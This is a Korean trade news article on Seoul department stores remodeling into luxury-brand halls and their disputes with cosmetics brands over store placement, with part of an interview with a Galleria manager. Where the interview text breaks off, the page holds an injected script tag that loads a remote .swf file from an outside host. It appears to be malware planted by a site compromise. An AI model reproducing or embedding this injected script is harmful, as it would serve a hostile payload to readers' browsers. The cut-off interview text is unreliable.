△명품브랜드로 리모델링 중=각 백화점의 랜드마크격인 강남에 위치한 백화점들을 비롯 내년 상반기에는 강북에 있는 롯데 본점, 신세계 본점들도 ‘명품 백화점"을 표방하며 리모델링을 한창 진행 중이다.
백화점 명품화의 방아쇠를 당긴 곳은 지난 4월 초대형 점포로 재 탄생한 신세계 강남점. 신세계 강남점은 매장 면적을 9천평에서 1만3천평으로 크게 늘리고 신규 브랜드 230여 개를 추가 입점시켰다. 특히 여성 고객을 공략하기 위한 뷰티 명품 브랜드도 대거 입점했다.
뷰티브랜드는 안나수이를 비롯해 베네핏 브랜드 등이신규 입점해 총 31개의 브랜드로 매장을 꾸몄다. 이에 신세계는 전년 매출보다 10% 이상 성장하는 성과를 올렸다. 지난 9월 1일에는 갤러리아 백화점이 압구정 패션관마저 명품관으로 재단장해 개장했다.
두 곳의 명품관을 운영하게 된 갤러리아는 기존 브랜드에 SK-Ⅱ와 헬레나루빈스타인, 내추라비세, 스위스퍼펙션 등의 브랜드를 신규 입점시켰다. 또 내년 6월경에는 크리스찬디올 옴므도 추가 입점시킬 예정이다.
한편 롯데 본점과 신세계 본점은 강북 제일의 명품 백화점을 위해 한창 공사중이다. 롯데는 내년 초 본점 옆 옛 한일은행 건물 전체를 명품관으로 구성 2750평 규모의 전문 매장을 열 계획이며, 롯데 잠실점 앞에 새로 짓는 건물도 앞으로 명품관으로 꾸밀 예정에 있다.
이에 롯데는 루이뷔똥 같은 명품 브랜드를 새 건물로 이전하고 본점은 순수 뷰티 명품 브랜드로 꾸밀 계획에 있다고 밝혔다. 한편 신세계 본점도 내년 8월 개장을 목표로 신축 건물을 짓고 있는 중이다. 신세계 본점 역시 매장 면적만 3천평 규모의 명품관을 오픈할 예정이다.
△브랜드와 백화점 힘겨루기=주요 백화점들이 속속 명품관을 오픈하다 보니 명품 브랜드와의 힘 겨루기가 한창이다. 이는 강남보다 강북의 경우가 더욱 심하다.
백화점은 고객들이 선호하는 명품 뷰티 브랜드를 입점시키길 원하지만 브랜드 원칙에 따라 소수 매장의 입점을 원하는 브랜드도 있기 때문.
이에 대해 한 백화점 바이어는 “앞으로는 국내에 유통되는 명품 화장품 브랜드에 의존하지 않고 백화점이 직접 명품 화장품 브랜드를 개발, 수입할 예정"이라고 밝히기도 했다.
이는 미 유통 뷰티 브랜드를 백화점이 직접 계약을 해 국내에 수입하는 형태가 될 예정이라고 설명했다.
이에 대해 한 백화점 바이어는 “1층 전부를 명품 뷰티 브랜드로 채워야 하는데 어떤 브랜드로 꾸며야 할지 백화점 내에서 크게 고민이 되기 때문 일 수도 있다"라고 밝혔다.
또한 매장배치에 따른 잡음도 상당하다. 대규모 MD개편 때 백화점은 고객 동선에 따라 주요 명품 뷰티 브랜드를 벽을 따라 위치시키길 원하지만 브랜드들은 주로 중심자리를 원하기 때문이다. 실제 여러 브랜드를 가지고 있는 한 수입화장품사는 원하는 자리에 입점하지 못하자 입점 예정에 있던 지방 백화점의 입점을 취소시키기도 했다.
한편, 국내 브랜드의 한 관계자는 “백화점에서 수입 명품 브랜드만 선호하게 되면 국내 브랜드는 결국 힘을 잃고 설자리마저도 없어질 수밖에 없는 것 아니냐"며 백화점의 명품 뷰티 브랜드 선호현상에 우려를 나타내기도 했다.
인터뷰.....................................................................WEST 뷰틱 2팀 박영택 과장
“명품관 리뉴얼은 생존전략" 압구정 갤러리아백화점 명품관
“현재 백화점 매장은 고급화되어가고 있는 할인점, 가격파괴의 온라인 쇼핑몰 등으로 명품 전략을 쓰지 않으면 생존하기 어려운 실정입니다."
압구정 갤러리아 뷰틱2팀의 박영택 과장은 갤러리아가 지난 9월 1일 대대적으로 단장한 가을 MD에 대해 어쩔 수 없는 선택이었다고 설명했다. 그는 특히 압구정 갤러리아백화점의 특색인 ‘명품 백화점"이라는 이미지를 대형 백화점들의 리뉴얼로 빼앗길 수 없다는 절박함도 한몫했다고 덧붙였다.
박 과장은 압?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> |
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